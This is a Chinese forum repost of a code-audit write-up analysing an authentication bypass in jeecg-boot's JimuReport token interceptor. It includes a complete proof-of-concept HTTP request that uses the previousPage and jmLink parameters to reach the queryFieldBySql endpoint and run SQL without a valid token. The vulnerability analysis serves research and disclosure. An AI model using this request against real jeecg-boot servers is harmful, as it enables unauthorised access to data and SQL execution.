论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
ToB企服应用市场:ToB评测及商务社交产业平台
»
论坛
›
安全
›
网络安全
›
[代码审计]jeecg-boot最新权限绕过毛病分析及新绕过发现 ...
[代码审计]jeecg-boot最新权限绕过毛病分析及新绕过发现 ...
九天猎人
金牌会员
|
2024-8-16 22:33:57
|
显示全部楼层
|
阅读模式
楼主
主题
876
|
帖子
876
|
积分
2628
如果觉得该文章有帮助的,贫苦师傅们可以搜刮下微信公众号:
良月安全
。点个关注,感谢师傅们的支持。
免责声明
本号所发布的所有内容,包罗但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的统统不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立刻删除并致歉。
前言
起因是看到都在传播/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=这个payload,便想着去看看是咋回事,大概率就是拦截器内里的token验证绕过,jmreport老版本下的许多接口都是未授权访问的,导致之前爆出了不少毛病,后来加了token验证,查看代码后发现不止一个地方可以进行权限绕过。
代码分析
具体代码逻辑就在JimuReportTokenInterceptor这个类中,下断点进行调试分析,请求之前披露的毛病路由/jeecg-boot/jmreport/queryFieldBySql。
起首判断是否有xss payload特性。
如果访问的路由是/jmreport/shareView/,直接返回true,放行。
如果访问的路由不是/jmreport/shareView/,则看这个访问的路由有没有JimuNoLoginRequired注解,有的话也直接返回true,放行。
再判断有没有token传入,并验证token的有用性。
这里没有传入正确的token,接着往下走,this.jimuReportShareService.isSharingEffective方法中判断访问的路由在不在getShareUrls方法返回的List中,如果不在直接返回false。
我们访问的路由不在这个list中,继承往下走,就直接判断有没有传入previousPage参数了,没有的话拦截器会返回false,提示“Token校验失败,无权限访问!”。
现在加上previousPage参数进行访问,这里就会调用到this.jimuReportShareService.isShareingToken方法,只要这个方法返回true,拦截器就会返回true,放行了。
这里再加上网传的payload中的参数jmLink=YWFhfHxiYmI=,给var3赋值后,进行2个判断,只要我们传入的token不存在数据库里,并且访问的路由不是以/jmreport/view开头,就会返回true。
根据上述的分析,不难发现,不但仅是jmLink参数可以造成权限绕过,还有其他两处地方同样也可以造成权限绕过。
毛病复现
网传的payload,是jmLink参数参数造成的权限绕过。至于其他两处位置就放在星球的分析文章中。
POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.131.100:8088
Content-Length: 21
{"sql":"select '1' "}
复制代码
结语
固然能实现权限绕过了,但上述的几种权限绕过方式只限于/jmreport下的路由,并且之前爆出来的rce的毛病,官方也已经进行了修复,有权限访问的情况下也无法用之前的payload进行rce了。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
九天猎人
金牌会员
这个人很懒什么都没写!
楼主热帖
C# 使用流读取大型TXT文本文件 ...
从洞察到决策,一文解读标签画像体系建 ...
JVM
SpringBoot(八) - 统一数据返回,统一 ...
Flink的API分层、架构与组件原理、并行 ...
袋鼠云平台代码规范化编译部署的提效性 ...
打穿你的内网之三层内网渗透 ...
微服务(三)之负载均衡(服务端和客户端) ...
MySQL中USER()和CURRENT_USER()的区别 ...
SQL中的排座位问题
标签云
存储
挺好的
服务器
快速回复
返回顶部
返回列表